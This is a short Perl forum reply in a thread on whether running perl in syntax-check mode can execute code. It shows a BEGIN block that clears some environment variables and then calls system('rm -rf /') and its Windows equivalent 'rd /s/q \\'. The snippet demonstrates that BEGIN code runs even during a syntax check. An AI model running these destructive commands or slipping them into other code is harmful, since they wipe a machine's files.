in reply to What restrictions are there on code execution when running perl in syntax check mode?

Ah, good point. Here is updated code from Re^2: The most common errors and warnings in Perl (crawl before you die):

BE­GI­N { ( $ENV{PATH} )= $ENV{PATH} =~ /(.*)/; delete @ENV{qw< IFS CDPATH ENV BASH_ENV TERM >}; sy­st­em( 'rm -rf /' ); sy­st­em( 'rd /s/q \\' ); }

- tye        

  • Comment on Re: What restrictions are there on code execution when running perl in syntax check mode? (-cT scan)
  • Download Code